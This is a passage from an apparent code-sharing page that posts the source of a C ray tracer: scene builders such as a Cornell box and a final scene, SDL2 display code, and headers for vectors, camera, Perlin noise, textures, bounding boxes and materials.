hittable_list_add(objects, new(sphere, (float3){0, -1000, 0}, 1000, new_lambertian(pertext)));
hittable_list_add(objects, new(sphere, (float3){0, 2, 0}, 2, new_dielectric(1.4f)));
material *difflight = new_diffuse_light(4);
hittable_list_add(objects, new_xy_rect(3, 5, 1, 3, -2, difflight));
hittable_list_add(objects, new(sphere, (float3){0, 5, 0}, 1.5f, difflight));
return objects;
}
internal hittable *cornell_box(void)
{
hittable *objects = new(hittable_list);
material *red = new_lambertian((float3){0.65f, 0.05f, 0.05f});
material *white = new_lambertian(.73f);
material *green = new_lambertian((float3){0.12f, 0.45f, 0.15f});
material *light = new_diffuse_light((float3){15, 15, 15});
/* add walls and light */
hittable_list_add(objects, new_yz_rect(0, 555, 0, 555, 555, green));
hittable_list_add(objects, new_yz_rect(0, 555, 0, 555, 0, red));
hittable_list_add(objects, new_xz_rect(113, 443, 127, 432, 554, light));
hittable_list_add(objects, new_xz_rect(0, 555, 0, 555, 0, white));
hittable_list_add(objects, new_xz_rect(0, 555, 0, 555, 555, white));
hittable_list_add(objects, new_xy_rect(0, 555, 0, 555, 555, white));
/* add box1 */
hittable *box1 = new(box, 0, (float3){165, 330, 165}, white);
box1 = new(rotate_y, box1, 15);
box1 = new(translate, box1, (float3){265, 0, 295});
hittable_list_add(objects, box1);
/* add box2 */
hittable *box2 = new(box, 0, 165, white);
box2 = new(rotate_y, box2, -18);
box2 = new(translate, box2, (float3){130, 0, 65});
hittable_list_add(objects, box2);
return objects;
}
internal hittable *cornell_smoke(void)
{
hittable *objects = new(hittable_list);
material *red = new_lambertian((float3){0.65f, 0.05f, 0.05f});
material *white = new_lambertian(.73f);
material *green = new_lambertian((float3){0.12f, 0.45f, 0.15f});
material *light = new_diffuse_light((float3){7, 7, 7});
/* add walls and light */
hittable_list_add(objects, new_yz_rect(0, 555, 0, 555, 555, green));
hittable_list_add(objects, new_yz_rect(0, 555, 0, 555, 0, red));
hittable_list_add(objects, new_xz_rect(113, 443, 127, 432, 554, light));
hittable_list_add(objects, new_xz_rect(0, 555, 0, 555, 0, white));
hittable_list_add(objects, new_xz_rect(0, 555, 0, 555, 555, white));
hittable_list_add(objects, new_xy_rect(0, 555, 0, 555, 555, white));
/* create box1 */
hittable *box1 = new(box, 0, (float3){165, 330, 165}, white);
box1 = new(rotate_y, box1, 15);
box1 = new(translate, box1, (float3){265, 0, 295});
/* create box2 */
hittable *box2 = new(box, 0, 165, white);
box2 = new(rotate_y, box2, -18);
box2 = new(translate, box2, (float3){130, 0, 65});
/* add boxes */
hittable_list_add(objects, new(constant_medium, box1, 0.01f, 0.0f));
hittable_list_add(objects, new(constant_medium, box2, 0.01f, 1.0f));
return objects;
}
internal hittable *final_scene(void)
{
hittable *boxes1 = new(hittable_list);
material *ground = new_lambertian((float3){0.48f, 0.83f, 0.53f});
i32 const boxes_per_side = 20;
hittable_list_reserve(boxes1, boxes_per_side * boxes_per_side);
for(i32 i = 0; i < boxes_per_side; ++i)
{
for (i32 j = 0; j < boxes_per_side; ++j)
{
float w = 100.0f;
float x0 = -1000.0f + i * w;
float z0 = -1000.0f + j * w;
float y0 = 0.0f;
float x1 = x0 + w;
float y1 = randomf(1, 101);
float z1 = z0 + w;
hittable_list_add(boxes1, new(box, (float3){x0, y0, z0}, (float3){x1, y1, z1}, ground));
}
}
hittable *objects = new(hittable_list, new_bvh_node(boxes1, 0, 1));
material *light = new_diffuse_light((float3){7, 7, 7});
hittable_list_add(objects, new_xz_rect(123, 423, 147, 412, 554, light));
float3 center1 = {400, 400, 200};
float3 center2 = center1 + (float3){30, 0, 0};
material *moving_sphere_material = new_lambertian((float3){0.7f, 0.3f, 0.1f});
hittable_list_add(objects, new_moving_sphere(center1, center2, 0, 1, 50, moving_sphere_material));
hittable_list_add(objects, new(sphere, (float3){260, 150, 45}, 50, new_dielectric(1.5f)));
hittable_list_add(objects, new(sphere, (float3){0, 150, 145}, 50, new_metal((float3){0.8f, 0.8f, 0.9f}, 10.0f)));
hittable *boundary = new(sphere, (float3){360, 150, 145}, 70, new_dielectric(1.5f));
hittable_list_add(objects, boundary);
hittable_list_add(objects, new(constant_medium, boundary, 0.2f, (float3){0.2f, 0.4f, 0.9f}));
boundary = new(sphere, 0, 5000, new_dielectric(1.5f));
hittable_list_add(objects, new(constant_medium, boundary, 0.0001f, (float3){1, 1, 1}));
material *emat = new_lambertian(new_solid_color((float3){0, 0, 0.75f}));
hittable_list_add(objects, new(sphere, (float3){400, 200, 400}, 100, emat));
texture *pertext = new_noise_texture(0.1f);
hittable_list_add(objects, new(sphere, (float3){220, 280, 300}, 80, new_lambertian(pertext)));
hittable *boxes2 = new(hittable_list);
material *white = new_lambertian(.73f);
i32 const ns = 1000;
hittable_list_reserve(boxes2, ns);
for(i32 j = 0; j < ns; ++j)
{
hittable_list_add(boxes2, new(sphere, randomf3(0, 165), 10, white));
}
hittable_list_add(objects, new(translate, new(rotate_y, new_bvh_node(boxes2, 0.0f, 1.0f), 15), (float3){-100, 270, 395}));
return objects;
}
internal void generate_image(uint32_t *image)
{
hittable *world;
float3 lookfrom;
float3 lookat;
float aperture;
float vfov;
float3 background;
/* choose the scene */
switch (7)
{
case 1:
world = random_scene();
background = (float3){0.70f, 0.80f, 1};
lookfrom = (float3){13, 2, 3};
lookat = (float3){0, 0, 0};
vfov = 20.0f;
aperture = 0.0f;
break;
case 2:
world = two_spheres();
background = (float3){0.70f, 0.80f, 1};
lookfrom = (float3){13, 2, 3};
lookat = 0;
vfov = 20.0f;
aperture = 0.0f;
break;
case 3:
world = two_perlin_spheres();
background = (float3){0.70f, 0.80f, 1};
lookfrom = (float3){13, 2, 3};
lookat = 0;
vfov = 20.0f;
aperture = 0.0f;
break;
case 4:
world = simple_light();
background = 0;
lookfrom = (float3){26, 3, 6};
lookat = (float3){0, 2, 0};
vfov = 20.0f;
aperture = 0.0f;
break;
case 5:
world = cornell_box();
background = 0;
lookfrom = (float3){278, 278, -800};
lookat = (float3){278, 278, 0};
vfov = 40.0f;
aperture = 0.0f;
break;
case 6:
world = cornell_smoke();
background = 0;
lookfrom = (float3){278, 278, -800};
lookat = (float3){278, 278, 0};
vfov = 40.0f;
aperture = 0.0f;
break;
default:
case 7:
world = final_scene();
background = 0;
lookfrom = (float3){478, 278, -600};
lookat = (float3){278, 278, 0};
vfov = 40.0f;
aperture = 0.0f;
break;
}
/* setup camera */
float3 vup = (float3){0, 1, 0};
float dist_to_focus = 10;
camera cam = make_camera(lookfrom, lookat, vup, vfov, ASPECT_RATIO, aperture, dist_to_focus, 0, 1.0f);
/* render */
#pragma omp parallel for
for(i32 pix = 0; pix < HEIGHT * WIDTH; ++pix) /* pixel index */
{
float3 pixel_color = {0};
for(i32 s = 0; s < SAMPLES_PER_PIXEL; ++s)
{
/* get pixel coords */
int32_t i = pix % WIDTH;
int32_t j = (HEIGHT - 1) - (pix / WIDTH);
float u = (i + randomf())/(float)(WIDTH - 1);
float v = (j + randomf())/(float)(HEIGHT - 1);
ray r = camera_get_ray(&cam, u, v);
/* add to the samples */
{
float3 result_color = ray_color(&r, background, world, 50);
pixel_color += result_color;
}
}
write_pixel(&image[pix], pixel_color, SAMPLES_PER_PIXEL);
}
}
int main(int argc, char *argv[])
{
/* we don't need these
* but SDL2 needs main to always have the signature of int main(int, char*[]);
*/
(void)argc;
(void)argv;
/* setup SDL2 */
if(SDL_Init(SDL_INIT_VIDEO) < 0)
{
fprintf(stderr, "Error: with SDL2 initialization \"%s\"\n", SDL_GetError());
return -1;
}
SDL_Window *window = SDL_CreateWindow("", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, WIDTH, HEIGHT, SDL_WINDOW_OPENGL);
if(NULL == window)
{
fprintf(stderr, "Error: with SDL2 window creation \"%s\"\n", SDL_GetError());
return -2;
}
SDL_Renderer *renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED);
if(NULL == renderer)
{
fprintf(stderr, "Error: with SDL2 renderer creation \"%s\"\n", SDL_GetError());
return -3;
}
SDL_Texture *texture = SDL_CreateTexture(renderer, SDL_PIXELFORMAT_RGBA8888, SDL_TEXTUREACCESS_STATIC, WIDTH, HEIGHT);
if(NULL == texture)
{
fprintf(stderr, "Error: with SDL2 texture creation \"%s\"\n", SDL_GetError());
return -4;
}
/* allocate memory for an image */
uint32_t *image = malloc(sizeof(uint32_t) * WIDTH * HEIGHT);
/* generate the image and time how long it took */
clock_t start_time = clock();
generate_image(image);
clock_t end_time = clock();
printf("it took %f seconds", (float)(end_time - start_time) / (float)CLOCKS_PER_SEC);
/* main loop */
bool quit = false;
while(!quit)
{
/* check for a quit event */
{
SDL_Event event = { 0 };
if(SDL_PollEvent(&event))
switch (event.type)
{
case SDL_QUIT:
{
quit = true;
} break;
}
}
/* draw texture */
{
SDL_UpdateTexture(texture, NULL, image, sizeof(u32) * WIDTH);
SDL_RenderCopy(renderer, texture, NULL, NULL);
SDL_RenderPresent(renderer);
}
}
/* success */
return 0;
}
</code></pre>
<p><code>ray_trace.h</code></p>
<pre><code>#pragma once
#define PI (3.141592653589f)
#define new(type, ...) ({type *<span class="math-container">$$$$</span> = malloc(sizeof(type)); *<span class="math-container">$$$$</span> = make_##type(__VA_ARGS__); (void*)<span class="math-container">$$$$</span>;})
float random_float(void);
internal inline void write_pixel(u32 *pixel, float3 color, i32 sample_count)
{
/* average the samples and do gamma correction */
{
color /= sample_count;
color[0] = sqrt(color[0]);
color[1] = sqrt(color[1]);
color[2] = sqrt(color[2]);
}
*pixel = ((u32)(fminf(color[0] * 255.0f + 0.5555f, 255.999f)) << 24) | ((u32)(fminf(color[1] * 255.0f + 0.5555f, 255.999f)) << 16) | ((u32)(fminf(color[2] * 255.0f + 0.5555f, 255.999f)) << 8);
}
internal inline size_t index_at(size_t x, size_t y, size_t width)
{
return y * width + x;
}
internal inline float degrees_to_radians(float degrees)
{
return degrees * PI / 180.0f;
}
internal inline float clamp(float x, float min, float max) {
if (x < min) return min;
if (x > max) return max;
return x;
}
/* random number genreration */
__attribute__((overloadable)) internal inline float randomf(void)
{
return random_float();
}
__attribute__((overloadable)) internal inline float randomf(float min, float max)
{
return min + (max - min) * randomf();
}
__attribute__((overloadable)) internal inline float2 randomf2(void)
{
return (float2){randomf(), randomf()};
}
__attribute__((overloadable)) internal inline float3 randomf3(void)
{
return (float3){randomf(), randomf(), randomf()};
}
__attribute__((overloadable)) internal inline float4 randomf4(void)
{
return (float4){randomf(), randomf(), randomf(), randomf()};
}
__attribute__((overloadable)) internal inline float2 randomf2(float min, float max)
{
return (float2){randomf(min, max), randomf(min, max)};
}
__attribute__((overloadable)) internal inline float3 randomf3(float min, float max)
{
return (float3){randomf(min, max), randomf(min, max), randomf(min, max)};
}
__attribute__((overloadable)) internal inline float4 randomf4(float min, float max)
{
return (float4){randomf(min, max), randomf(min, max), randomf(min, max), randomf(min, max)};
}
internal inline float3 random_in_unit_sphere(void)
{
for(;;)
{
float3 p = randomf3(-1, 1);
if(length_sqr(p) >= 1) continue;
return p;
}
}
internal inline float3 random_unit_vector(void) {
float a = randomf(0, 2 * PI);
float z = randomf(-1, 1);
float r = sqrtf(1 - z*z);
return (float3){r * cosf(a), r * sinf(a), z};
}
internal inline float3 random_in_unit_disk(void)
{
for(;;)
{
float3 p = {randomf(-1, 1), randomf(-1, 1), 0};
if(length_sqr(p) >= 1) continue;
return p;
}
}
</code></pre>
<p><code>vec.h</code></p>
<pre><code>#pragma once
#include <math.h>
/* types */
typedef float float2 __attribute__((ext_vector_type(2)));
typedef float float3 __attribute__((ext_vector_type(3)));
typedef float float4 __attribute__((ext_vector_type(4)));
/* length squared */
__attribute__((overloadable)) internal inline float length_sqr(float2 v)
{
return v.x * v.x + v.y * v.y;
}
__attribute__((overloadable)) internal inline float length_sqr(float3 v)
{
return v.x * v.x + v.y * v.y + v.z * v.z;
}
__attribute__((overloadable)) internal inline float length_sqr(float4 v)
{
return v.x * v.x + v.y * v.y + v.z * v.z + v.w * v.w;
}
/* length */
__attribute__((overloadable)) internal inline float length(float2 v)
{
return sqrtf(length_sqr(v));
}
__attribute__((overloadable)) internal inline float length(float3 v)
{
return sqrtf(length_sqr(v));
}
__attribute__((overloadable)) internal inline float length(float4 v)
{
return sqrtf(length_sqr(v));
}
/* dot product */
__attribute__((overloadable)) internal inline float dot(float2 u, float2 v)
{
return u[0] * v[0] + u[1] * v[1];
}
__attribute__((overloadable)) internal inline float dot(float3 u, float3 v)
{
return u[0] * v[0] + u[1] * v[1] + u[2] * v[2];
}
__attribute__((overloadable)) internal inline float dot(float4 u, float4 v)
{
return u[0] * v[0] + u[1] * v[1] + u[2] * v[2] + v[3] * v[3];
}
/* cross product */
__attribute__((overloadable)) internal inline float3 cross(float3 u, float3 v)
{
return (float3){u[1] * v[2] - u[2] * v[1],
u[2] * v[0] - u[0] * v[2],
u[0] * v[1] - u[1] * v[0]};
}
/* normalization */
__attribute__((overloadable)) internal inline float2 normalize(float2 v)
{
return v / length(v);
}
__attribute__((overloadable)) internal inline float3 normalize(float3 v)
{
return v / length(v);
}
__attribute__((overloadable)) internal inline float4 normalize(float4 v)
{
return v / length(v);
}
/* reflection */
internal inline float3 reflect(float3 v, float3 n)
{
return v - 2 * dot(v, n) * n;
}
/* refraction */
internal inline float3 refract(float3 uv, float3 n, float etai_over_etat)
{
float cos_theta = dot(-uv, n);
float3 r_out_perp = etai_over_etat * (uv + cos_theta * n);
float3 r_out_parallel = -sqrtf(fabsf(1.0f - length_sqr(r_out_perp))) * n;
return r_out_parallel + r_out_perp;
}
</code></pre>
<p><code>types.h</code></p>
<pre><code>#pragma once
#include <stdint.h>
/* integral types */
typedef int8_t i8;
typedef int16_t i16;
typedef int32_t i32;
typedef int64_t i64;
/* unsigned integral types */
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
/* floating point types */
typedef float f32;
typedef double f64;
/* static has a lot of uses */
#define internal static
#define auto __auto_type
</code></pre>
<p><code>ray.h</code></p>
<pre><code>#pragma once
typedef struct ray
{
float3 pos;
float3 dir;
float time;
} ray;
internal inline float3 ray_at(ray const *this, float t)
{
return this->pos + t * this->dir;
}
</code></pre>
<p><code>camera.h</code></p>
<pre><code>#pragma once
typedef struct camera
{
float3 origin;
float3 horizontal;
float3 vertical;
float3 lower_left_corner;
float3 u, v, w;
float lens_radius;
float time0, time1;
} camera;
internal inline ray camera_get_ray(camera const *this, float s, float t)
{
float3 rd = this->lens_radius * random_in_unit_disk();
float3 offset = this->u * rd.x + this->v * rd.y;
return (ray){
this->origin + offset,
this->lower_left_corner + s * this->horizontal + t * this->vertical - this->origin - offset,
randomf(this->time0, this->time1)
};
}
internal camera make_camera(float3 lookfrom, float3 lookat, float3 vup, float fov, float aspect_ratio, float aperture, float focus_dist, float t0, float t1)
{
float theta = degrees_to_radians(fov);
float h = tanf(theta / 2);
float viewport_height = 2.0f * h;
float viewport_width = aspect_ratio * viewport_height;
float3 w = normalize(lookfrom - lookat);
float3 u = normalize(cross(vup, w));
float3 v = cross(w, u);
camera result = {
.w = w,
.u = u,
.v = v,
.origin = lookfrom,
.horizontal = focus_dist * viewport_width * u,
.vertical= focus_dist * viewport_height * v,
.lower_left_corner = result.origin - result.horizontal / 2 - result.vertical / 2 - w * focus_dist,
.lens_radius = aperture / 2,
.time0 = t0,
.time1 = t1
};
return result;
}
</code></pre>
<p><code>perlin.h</code></p>
<pre><code>#pragma once
enum { PERLIN_POINT_COUNT = 256 };
typedef struct perlin
{
float3 *ranvec;
i32 *perm_x;
i32 *perm_y;
i32 *perm_z;
} perlin;
internal void perlin_permute(i32 *p, i32 n)
{
for(i32 i = n - 1; i > 0; --i)
{
i32 target = (i32)randomf(0, i + 1);
i32 temp = p[i];
p[i] = p[target];
p[target] = temp;
}
}
internal i32 *perlin_generate_perm(void)
{
i32 *p = malloc(sizeof(i32) * PERLIN_POINT_COUNT);
for(i32 i = 0; i < PERLIN_POINT_COUNT; ++i)
p[i] = i;
perlin_permute(p, PERLIN_POINT_COUNT);
return p;
}
internal float perlin_interp(float3 c[2][2][2], float u, float v, float w)
{
float uu = u * u * (3 - 2 * u);
float vv = v * v * (3 - 2 * v);
float ww = w * w * (3 - 2 * w);
float result = 0.0f;
for(i32 i = 0; i < 2; ++i)
for(i32 j = 0; j < 2; ++j)
for(i32 k = 0; k < 2; ++k)
{
float3 weight_v = { u - i, v - j, w - k};
result += ((i * uu) + (1 - i) * (1 - uu))
* ((j * vv) + (1 - j) * (1 - vv))
* ((k * ww) + (1 - k) * (1 - ww))
* dot(c[i][j][k], weight_v);
}
return result;
}
internal float perlin_noise(perlin const *this, float3 p)
{
float u = p.x - floorf(p.x);
float v = p.y - floorf(p.y);
float w = p.z - floorf(p.z);
i32 i = floorf(p.x);
i32 j = floorf(p.y);
i32 k = floorf(p.z);
float3 c[2][2][2];
for(i32 di = 0; di < 2; ++di)
for(i32 dj = 0; dj < 2; ++dj)
for(i32 dk = 0; dk < 2; ++dk)
{
c[di][dj][dk] =
this->ranvec[
this->perm_x[(i + di) & 255] ^
this->perm_y[(j + dj) & 255] ^
this->perm_z[(k + dk) & 255]
];
}
return perlin_interp(c, u, v, w);
}
internal float perlin_turb(perlin const *this, float3 p, i32 depth)
{
float result = 0;
float3 temp_p = p;
float weight = 1;
for(i32 i = 0; i < depth; ++i)
{
result += weight * perlin_noise(this, temp_p);
weight *= 0.5f;
temp_p *= 2;
}
return fabsf(result);
}
internal perlin make_perlin(void)
{
perlin result = { .ranvec = malloc(sizeof(float3) * PERLIN_POINT_COUNT) };
for(i32 i = 0; i < PERLIN_POINT_COUNT; ++i)
{
result.ranvec[i] = normalize(randomf3(-1, 1));
}
result.perm_x = perlin_generate_perm();
result.perm_y = perlin_generate_perm();
result.perm_z = perlin_generate_perm();
return result;
}
</code></pre>
<p><code>texture.h</code></p>
<pre><code>#pragma once
#include "perlin.h"
struct texture;
struct texture_vtable
{
float3(*value)(struct texture const *this, float2 uv, float3 p);
};
typedef struct texture
{
struct texture_vtable *vtable;
} texture;
typedef struct solid_color
{
texture parent;
float3 color_value;
} solid_color;
internal float3 solid_color_value(solid_color const *this, float2 uv, float3 p)
{
return this->color_value;
}
internal texture *new_solid_color(float3 c)
{
solid_color *result = malloc(sizeof(solid_color));
result->color_value = c;
/* setup vtable */
static struct texture_vtable solid_color_vtable = { .value = (void*)solid_color_value };
result->parent.vtable = &solid_color_vtable;
return (void*)result;
}
typedef struct checker_texture
{
texture parent;
texture *odd;
texture *even;
} checker_texture;
internal float3 checker_texture_value(checker_texture const *this, float2 uv, float3 p)
{
float sines = sinf(10 * p.x) * sinf(10 * p.y) * sinf(10 * p.z);
if(sines < 0)
return this->odd->vtable->value(this->odd, uv, p);
else
return this->even->vtable->value(this->even, uv, p);
}
__attribute__((overloadable)) internal texture *new_checker_texture(texture *t0, texture *t1)
{
checker_texture *result = malloc(sizeof(checker_texture));
result->even = t0;
result->odd = t1;
/* setup vtable */
static struct texture_vtable checker_texture_vtable = { .value = (void*)&checker_texture_value };
result->parent.vtable = &checker_texture_vtable;
return (void*)result;
}
__attribute__((overloadable)) internal texture *new_checker_texture(float3 c1, float3 c2)
{
return new_checker_texture(new_solid_color(c1), new_solid_color(c2));
}
typedef struct noise_texture
{
texture parent;
perlin noise;
float scale;
} noise_texture;
internal float3 noise_texture_value(noise_texture const *this, float2 uv, float3 p)
{
return 0.5f * (1.0f + sinf(this->scale * p.z + 10 * perlin_turb(&this->noise, p, 7)));
}
__attribute__((overloadable)) internal texture *new_noise_texture(void)
{
noise_texture *result = malloc(sizeof(noise_texture));
result->noise = make_perlin();
result->scale = 0;
/* setup vtable */
static struct texture_vtable noise_texture_vtable = { .value = (void*)&noise_texture_value };
result->parent.vtable = &noise_texture_vtable;
return (void*)result;
}
__attribute__((overloadable)) internal texture *new_noise_texture(float sc)
{
noise_texture *result = (void*)new_noise_texture();
result->scale = sc;
return (void*)result;
}
</code></pre>
<p><code>aabb.h</code></p>
<pre><code>#pragma once
typedef struct aabb
{
float3 min;
float3 max;
} aabb;
internal bool aabb_hit(aabb const *this, ray const *r, float tmin, float tmax)
{
#define swap(a, b) ({__typeof__(a) temp = a; a = b; b = temp;})
for(i32 a = 0; a < 3; ++a)
{
float inv_d = 1.0f / r->dir[a];
float t0 = (this->min[a] - r->pos[a]) * inv_d;
float t1 = (this->max[a] - r->pos[a]) * inv_d;
if(inv_d < 0.0f)
swap(t0, t1);
tmin = t0 > tmin ? t0 : tmin;
tmax = t1 < tmax ? t1 : tmax;
if(tmax <= tmin)
return false;
}
return true;
#undef swap
}
internal aabb surrounding_box(aabb box0, aabb box1)
{
float3 small = {fminf(box0.min.x, box1.min.x),
fminf(box0.min.y, box1.min.y),
fminf(box0.min.z, box1.min.z)};
float3 big = {fmaxf(box0.max.x, box1.max.x),
fmaxf(box0.max.y, box1.max.y),
fmaxf(box0.max.z, box1.max.z)};
return (aabb){small, big};
}
</code></pre>
<p><code>hittable.h</code></p>
<pre><code>#pragma once
typedef struct material material;
typedef struct hit_record
{
float3 p;
float3 normal;
material *mat_ptr;
float t;
float2 uv;
bool front_face;
} hit_record;
internal inline void hit_record_set_face_normal(hit_record *this, ray const *r, float3 outward_normal)
{
this->front_face = dot(r->dir, outward_normal) < 0;
this->normal = this->front_face ? outward_normal : -outward_normal;
}
struct hittable;
struct hittable_vtable
{
bool(*hit)(struct hittable const *this, ray const *r, float t_min, float t_max, hit_record* rec);
bool(*bounding_box)(struct hittable const *this, float t0, float t1, aabb *output_box);
};
/* an abstract class */
typedef struct hittable
{
struct hittable_vtable *vtable;
} hittable;
typedef struct translate
{
hittable parent;
hittable *ptr;
float3 offset;
} translate;
internal bool translate_hit(translate const *this, ray const *r, float t_min, float t_max, hit_record *rec)
{
ray moved_r = {r->pos - this->offset, r->dir, r->time};
if(!this->ptr->vtable->hit(this->ptr, &moved_r, t_min, t_max, rec))
return false;
rec->p += this->offset;
hit_record_set_face_normal(rec, &moved_r, rec->normal);
return true;
}
internal bool translate_bounding_box(translate const *this, float t0, float t1, aabb *output_box)
{
if(!this->ptr->vtable->bounding_box(this->ptr, t0, t1, output_box))
return false;
*output_box = (aabb){output_box->min + this->offset,
output_box->max + this->offset};
return true;
}
internal translate make_translate(hittable *ptr, float3 displacement)
{
translate result = {
.ptr = ptr,
.offset = displacement
};
/* setup vtable */
static struct hittable_vtable translate_vtable = {
.hit = (void*)&translate_hit,
.bounding_box = (void*)&translate_bounding_box
};
result.parent.vtable = &translate_vtable;
return result;
}
typedef struct rotate_y
{
hittable parent;
hittable *ptr;
aabb bbox;
float sin_theta;
float cos_theta;
bool hasbox;
} rotate_y;
internal bool rotate_y_bounding_box(rotate_y const *this, float t0, float t1, aabb *output_box)
{
*output_box = this->bbox;
return this->hasbox;
}
internal bool rotate_y_hit(rotate_y const *this, ray const *r, float t_min, float t_max, hit_record *rec)
{
float3 origin = r->pos;
float3 direction = r->dir;
origin[0] = this->cos_theta * r->pos[0] - this->sin_theta * r->pos[2];
origin[2] = this->sin_theta * r->pos[0] + this->cos_theta * r->pos[2];
direction[0] = this->cos_theta * r->dir[0] - this->sin_theta * r->dir[2];
direction[2] = this->sin_theta * r->dir[0] + this->cos_theta * r->dir[2];
ray rotated_ray = {origin, direction, r->time};
if(!this->ptr->vtable->hit(this->ptr, &rotated_ray, t_min, t_max, rec))
return false;
float3 p = rec->p;
float3 normal = rec->normal;
p[0] = this->cos_theta * rec->p[0] + this->sin_theta * rec->p[2];
p[2] = -this->sin_theta * rec->p[0] + this->cos_theta * rec->p[2];
normal[0] = this->cos_theta * rec->normal[0] + this->sin_theta * rec->normal[2];
normal[2] = -this->sin_theta * rec->normal[0] + this->cos_theta * rec->normal[2];
rec->p = p;
rec->normal = normal;
return true;
}
internal rotate_y make_rotate_y(hittable *p, float angle)
{
float radians = degrees_to_radians(angle);
rotate_y result = {
.ptr = p,
.sin_theta = sinf(radians),
.cos_theta = cosf(radians),
.hasbox = p->vtable->bounding_box(p, 0, 1, &result.bbox)
};
float3 min = INFINITY;
float3 max = -INFINITY;
for(i32 i = 0; i < 2; ++i)
for(i32 j = 0; j < 2; ++j)
for(i32 k = 0; k < 2; ++k)
{
float x = i * result.bbox.max.x + (1 - i) * result.bbox.min.x;
float y = i * result.bbox.max.y + (1 - i) * result.bbox.min.y;
float z = i * result.bbox.max.z + (1 - i) * result.bbox.min.z;
float newx = result.cos_theta * x + result.sin_theta * z;
float newz = -result.sin_theta * x + result.cos_theta * z;
float3 tester = {newx, y, newz};
for(i32 c = 0; c < 3; ++c)
{
min[c] = fminf(min[c], tester[c]);
max[c] = fmaxf(max[c], tester[c]);
}
}
result.bbox = (aabb){min, max};
/* setup vtable */
static struct hittable_vtable rotate_y_vtable = {
.hit = (void*)&rotate_y_hit,
.bounding_box = (void*)&rotate_y_bounding_box
};
result.parent.vtable = &rotate_y_vtable;
return result;
}
</code></pre>
<p><code>material.h</code></p>
<pre><code>#pragma once
struct material;
struct material_vtable
{
bool(*scatter)(struct material const *this, ray const *r_in, hit_record const *rec, float3 *attenuation, ray *scattered);
float3(*emitted)(struct material const *this, float2 uv, float3 p);
};
typedef struct material
{
struct material_vtable *vtable;
} material;
internal float3 material_emitted(material const *this, float2 uv, float3 p)
{
(void)this, (void)uv, (void)p;
return 0;
}
internal bool material_scatter(material const *this, ray const *r_in, hit_record const *rec, float3 *attenuation, ray *scattered)
{
return false;
}
typedef struct lambertian
{
material parent;
texture *albedo;
} lambertian;
internal bool lambertian_scatter(lambertian const *this, ray const *r_in, hit_record const *rec, float3 *attenuation, ray *scattered)
{
float3 scatter_direction = rec->normal + random_in_unit_sphere();
*scattered = (ray){rec->p, scatter_direction, r_in->time};
*attenuation = this->albedo->vtable->value(this->albedo, rec->uv, rec->p);
return true;
}
__attribute__((overloadable)) internal material *new_lambertian(texture *color)
{
lambertian *result = malloc(sizeof(lambertian));
result->albedo = color;
static struct material_vtable lambertian_vtable = {
.scatter = (void*)&lambertian_scatter,
.emitted = &material_emitted
};
result->parent.vtable = &lambertian_vtable;
return (void*)result;
}
__attribute__((overloadable)) internal material *new_lambertian(float3 color)
{
return new_lambertian(new_solid_color(color));
}
typedef struct metal
{
material parent;
float3 albedo;
float fuzz;
} metal;
internal bool metal_scatter(metal const *this, ray const *r_in, hit_record const *rec, float3 *attenuation, ray *scattered)
{
float3 reflected = reflect(normalize(r_in->dir), rec->normal);
*scattered = (ray){rec->p, reflected + this->fuzz * random_in_unit_sphere()};
*attenuation = this->albedo;
return (dot(scattered->dir, rec->normal) > 0);
}
internal material *new_metal(float3 color, float fuzz)
{
metal *result = malloc(sizeof(metal));
result->albedo = color;
result->fuzz = fuzz < 1 ? fuzz : 1;
static struct material_vtable metal_vtable = {
.scatter = (void*)&metal_scatter,
.emitted = (void*)&material_emitted
};
result->parent.vtable = &metal_vtable;
return (void*)result;
}
typedef struct dielectric
{
material parent;
float ref_idx;
} dielectric;
internal inline float schlick(float cosine, float ref_idx)
{
float r0 = (1 - ref_idx) / (1 + ref_idx);
r0 *= r0;
return r0 + (1 - r0) * powf(1 - cosine, 5);
}
internal bool dielectric_scatter(dielectric const *this, ray const *r_in, hit_record const *rec, float3 *attenuation, ray *scattered)
{
*attenuation = 1.0f;
float etai_over_etat = rec->front_face ? 1.0f / this->ref_idx : this->ref_idx;
float3 unit_direction = normalize(r_in->dir);
float cos_theta = fminf(dot(-unit_direction, rec->normal), 1.0f);
float sin_theta = sqrtf(1.0f - cos_theta * cos_theta);
if(etai_over_etat * sin_theta > 1.0f)
{
float3 reflected = reflect(unit_direction, rec->normal);
*scattered = (ray){rec->p, reflected};
return true;
}
float reflect_prob = schlick(cos_theta, etai_over_etat);
if(randomf() < reflect_prob)
{
float3 reflected = reflect(unit_direction, rec->normal);
*scattered = (ray){rec->p, reflected};
return true;
}
float3 refracted = refract(unit_direction, rec->normal, etai_over_etat);
*scattered = (ray){rec->p, refracted};
return true;
}
internal material *new_dielectric(float ref_idx)
{
dielectric *result = malloc(sizeof(dielectric));
result->ref_idx = ref_idx;
static struct material_vtable dielectric_vtable = {
.scatter = (void*)&dielectric_scatter,
.emitted = &material_emitted
};
result->parent.vtable = &dielectric_vtable;
return (void*)result;
}
typedef struct diffuse_light
{
material parent;
texture *emit;
} diffuse_light;
internal float3 diffuse_light_emitted(diffuse_light const *this, float2 uv, float3 p)
{
return this->emit->vtable->value(this->emit, uv, p);
}
__attribute__((overloadable)) internal material *new_diffuse_light(texture *a)
{
diffuse_light *result = malloc(sizeof(diffuse_light));
result->emit = a;
/* setup vtable */
static struct material_vtable diffuse_light_vtable = {
.scatter = &material_scatter,
.emitted = (void*)&diffuse_light_emitted
};
result->parent.vtable = &diffuse_light_vtable;
return (void*)result;
}
__attribute__((overloadable)) internal material *new_diffuse_light(float3 c)
{
return new_diffuse_light(new_solid_color(c));
}
typedef struct isotropic
{
material parent;
texture *albedo;
} isotropic;
internal bool isotropic_scatter(isotropic const *this, ray const *r, hit_record const *rec, float3 *attenuation, ray *scattered)
{
*scattered = (ray){rec->p, random_in_unit_sphere(), r->time};
*attenuation = this->albedo->vtable->value(this->albedo, rec->uv, rec->p);
return true;
}
__attribute__((overloadable)) internal material *new_isotropic(texture *a)
{
isotropic *result = malloc(sizeof(isotropic));
result->albedo = a;
/* setup vtable */
static struct material_vtable isotropic_vtable = {
.scatter = (void*)&isotropic_scatter,
.emitted = &material_emitted
};
result->parent.vtable = &isotropic_vtable;
return (void*)result;
}
</code></pre>
<p><code>hittable_list.h</code></p>
<pre><code>#pragma once
typedef struct hittable_list
{
hittable parent;
struct
{
size_t size;
size_t capacity;
hittable **data;
} objects;
} hittable_list;
